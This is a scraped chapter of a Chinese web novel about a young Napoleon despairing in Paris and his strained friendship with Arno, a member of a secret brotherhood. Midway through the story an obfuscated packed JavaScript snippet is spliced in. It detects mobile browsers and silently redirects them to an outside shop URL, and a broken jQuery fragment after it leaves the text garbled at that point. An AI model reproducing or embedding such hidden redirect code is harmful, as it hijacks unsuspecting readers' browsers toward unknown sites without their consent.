文趣网 > 都市小说 > 拿破仑构史记 > 32.绝望
    她既想死,也想去巴黎——《包法利夫人》居斯塔夫·福楼拜

    巴黎的热月是名副其实的热月,白昼漫长,巴黎的空气在夏季炽烈的阳光下融化扭曲,将全城各地的死尸味、酸腐味、尿骚屎臭一并蒸煮、沸腾,无情无差别地恶毒攻击所有人,不论左岸右岸、男女老少,富贵还是贫穷。

    拿破仑的努力运作依然没搏来任何好消息,每日拼命的写信、去战争部找人、参与年轻军官的集会、费尽心思地打探能否进入某位贵人的沙龙宴会似乎都变成了徒劳的挣扎。最要命的是战争部发来信函,催促他尽快去旺代报道就职,要么早点去医学委员会检查身体状况,还威胁说如果你的病假借口被查证为假,战争部会考虑剥夺其军衔。

    拿破仑打心眼里不相信战争部会真的剥夺他的军衔,但他着实已经在巴黎逗留太久且一无所获,称病的借口眼看着也要不管用了,怎么办?怎么办?怎么办?

    朱诺和马尔蒙还对他的前途抱以乐观的希望,也在尽力帮他,但是都不管用。比起这些更让拿破仑难受的是亚诺的冷淡,从攻占巴士底狱纪念日之后,他很少再出现在咖啡馆,总是很忙的样子,若不是偶尔还能见到,拿破仑几乎疑心他早就遗忘了他们之间的友谊,去巴黎之外某个清静凉爽的地方度假去了。安托万更是一次都没出现过,想问都没法问。

    好不容易看到亚诺出现在咖啡馆,顺走咖啡师刚泡出的一杯新鲜咖啡,拿破仑走过去:“亚诺,好久不见。”

    “早上好。”亚诺客气地打招呼。

    拿破仑被他习以为常的语气刺痛了,从刺痛的伤口流淌出来的还有莫名的愤怒:“你还是会跟之前一样吗,只在咖啡馆待上一会就走?”

    亚诺怔了一下,说:“前几天是在忙生意上的事,今天我会好好休息一下。”

    “好吧。”拿破仑语气缓和下来,“我还以为你忘了你还有剧场咖啡馆呢。”

    “在想什么呢。”亚诺笑起来:“放心好了,剧场咖啡馆我会经常回来的,它是我的家。”

    亚诺两口喝完咖啡,杯子放回去:“我给你带了外面刚出版不久的小说,你要看吗?”

    拿破仑说不上来哪儿不得劲,也没法拒绝亚诺的赠送。亚诺送了书就上楼休息,小睡到中午才起来吃饭,室外太阳如此毒辣,亚诺躲在房间里压根不想出门。

    到下午茶时间,亚诺继续宅在房间里看书打发时间,直到古兹夫人敲门进来,她摇着扇子走进来问亚诺不下去喝下午茶吗?

    “不想去。”亚诺撑着额头无精打采,炎热的天气夺走了一切兴致,要不是兄弟会的任务他压根不想动弹一下。

    “你想什么时候下去都行,但是我想问你,你不打算让拿破仑继续在咖啡馆住了吗?”

    亚诺闻言放下手,莫名其妙:“我什么时候表达过这种意思?”

    古兹夫人神色微愠:“亚诺,我又不是德尔斐的神谕,不可能随时猜中你心里古怪的念头。我和大家看到的是你突然减少了与拿破仑先生的来往,好不容易回来一趟也对他礼貌且生疏,就算你确实没赶他走的想法,你贸然的疏远也太失礼了,会伤他自尊心的。”

    “我……”亚诺揉揉脑袋,心情烦躁,一方面这段时间兄弟会确实事情琐碎,一方面他不得不承认,成为“活着的小罗伯斯庇尔”的可怕告诫让他感到有些恐惧。他下意识地选择借事务忙碌的借口逃避,逃避面对。

    古兹夫人在亚诺面前坐下来:“到底发生了什么?亚诺,我是你的姐妹,你有什么顾虑大可以对我说。”

    亚诺唉声叹气,先考虑了下从何说起:“其实我一直打算将他发展成盟友。”

    “但是安托万和他接触过后,认为他不适合。”

    “为什么不适合?”古兹夫人也很惊奇,“我和他接触过,他是个知识渊博,说话风趣的人。”

    “安托万说……他心里只有自己,他会为了权势不顾一切。就算我现在帮了他,如果我日后成为他的阻碍,他就会翻脸无情……”

    古兹夫人陷入沉思,半晌开口:“安托万……他是赫尔维的弟子。从八岁起他就跟着赫尔维学习政治与法律,他的判断足可以成为参考。拿破仑先生是否真的会选择背叛,我不敢确定,但是说真的,亚诺,你现在的处理方式太糟糕了,继续疏远下去,都不需要等他恩将仇报的时候,他现在就要开始恨你了。”

    亚诺心间大乱,失声道:“那我能怎么办呢?我一看到他的眼睛我就想帮他。我知道对兄弟会来说,给他一官半职就是动动手指的事,但是就如你、就如安托万所说,如果他会走到对立面去,他要背叛我的话,我又该怎么办?”

    “现在就去假定他一定会背叛为时过早。”古兹夫人冷静地说,“他很年轻,未来的路很长,人未尝不是可以改变的。亚诺,无论你最后决不决定作保帮他,我都希望你能委婉地处理此事,不要直白地伤了他的心。好吗?”古兹夫人抬起亚诺颓丧的脸,目光温柔,“你不在的日子,他一直很忧郁,他的朋友帮不到他什么忙,战争部又经常催信来,小心一点,他现在精神很脆弱。”

    亚诺冷静了些,他抓住古兹夫人的手浅吻下手背:“我知道了,谢谢你,夫人。”

    古兹夫人笑起来:“好好再想想吧,我先下去忙。”

    古兹夫人带上门,让亚诺自己思考该怎么做,她已经知晓亚诺的真实想法,现在该去面对拿破仑了。

    拿破仑待在书房窗边的位置,腿上摊着一本书,但他在望着窗帘缝隙发呆。

    “拿破仑先生。”

    “夫人。”拿破仑一下站起来,露出近似被审判的惴惴不安的神情。

    古兹夫人打心底里有些同情他,咖啡店店员私底下聚集聊天的时候没少因为他过于寒酸的着装、浓重的科西嘉口音嘲笑过他,他知道吗?还是知道了也假装不知道呢?

    即便现在他身材消瘦,脸色蜡黄,从五官也能看出他是个英俊的人,两侧留长的鬓发贴在脸颊边,更显得他无辜可怜了,让古兹夫人想起被斩首的天使圣鞠斯特。哎!世间的美人总是会或多或少的经历些许不幸。

    “我刚刚和亚诺聊了会。”古兹夫人坐下来,“我向你保证,他绝对没有任何厌弃你的意思,他对你的友谊一如既往。只是他最近确实忙碌,天气又太热,他累了,一时没有注意到对旁人的感受。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615495|205412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拿破仑抿着嘴:“亲爱的夫人,我理解你的心情,但是我不相信他真的只是疏忽。还要我说得更明白吗?我知道他在故意疏远我,我需要一个确切的解释,解释他为什么突然厌憎我。”

    “他没有讨厌你。”古兹夫人又不能说出真相,内心满是无奈,“他只是……有些事情,对任何人来说,都不是立刻就能面对的。你知道吗,亚诺的女友死于一场意外,他出门做生意的路上顺便去了她的墓地,也许他还没从纪念死去爱人的悲伤中走出来。”

    古兹夫人为自己临机应变的谎言感到自豪,拿破仑看上去也是真的信了,也许?但好歹让他不继续精神紧张地疑神疑鬼了,出于补偿心理,古兹夫人给他拿了一杯冰镇勃艮第红酒。

    拿破仑独自喝着葡萄酒,陷入沉思。

    古兹夫人的话可信吗?

    拿破仑看不出来什么破绽,但在安托万没露出真面目之前,他也只觉得对方是个有点故作成熟、装模作样的小屁孩罢了。而古兹夫人和安托万一样,都有种隐秘的,不可告人的气味。一种独属于他们之间的秘密将他们链接起来,无需语言只消眼神都能让他们心领神会。而拿破仑作为不知情者被牢牢排斥在外,亚诺很尊重他,可一触及到秘密相关便守口如瓶。

    他有可能因为恳求而吐露秘密吗?

    拿破仑焦虑地在书房里走来走去,思考着可能性。思量权衡再三后,他还是觉得不可能,他问过不止一次,亚诺总是说到该知道的时候就会知道。安托万虽然暗示了点,但那似乎只是开玩笑,

    安托万对我没有如亚诺对我的感情。拿破仑想着,他像是那种必要时绝不留情的人。他暗示秘密,更有可能是为了在将来某个清除时刻提前埋下理由。

    到时候,唯一能阻止他的恐怕有且只有亚诺了。

    拿破仑坐下来,浑身发冷,方才喝下去的冰镇红酒粘稠地在胃里滚动,一阵阵骤缩、抽搐。

    所有的分析、所有的紧张与恐惧,最后都落点到一个问题:怎么办?

    我该怎么办?

    亚诺仍然心软,他没有下定决心,他选择逃避。今日休息过后,他仍可能会借经营生意的借口离开咖啡馆,去做他那不可告人的勾当,让他再也别想抓到他的影子。而他的时间真的所剩无几,如果不能留在巴黎,他剩下的选择似乎只剩去奥斯曼帝国帮人练兵,人家给的薪酬至少不错,也不会介意他曾与雅各宾分子来往密切的污点。奥斯曼算是个好地方吗?拿破仑不知道,焦虑之时更多是害怕。

    万一呢?

    万一呢?

    万一亚诺能让步呢?

    万一在巴黎的未来真的有机会呢?

    为什么要去奥斯曼?

    凭什么去奥斯曼?

    真的只能如此了吗?

    “我要留下来。”拿破仑自言自语,“如果不成功,我就去死。”

    拿破仑转身猛地推开窗,塞纳河上滚烫肮脏的热浪扑面而来,激得他打了个至深的冷颤,浑身毛孔都张开吐出寒气,胃部再度痉挛起来。拿破仑忍住想要呕吐的欲望,凝视炽日下微微扭曲的巴黎城市。

    来啊。拿破仑想,我准备好了。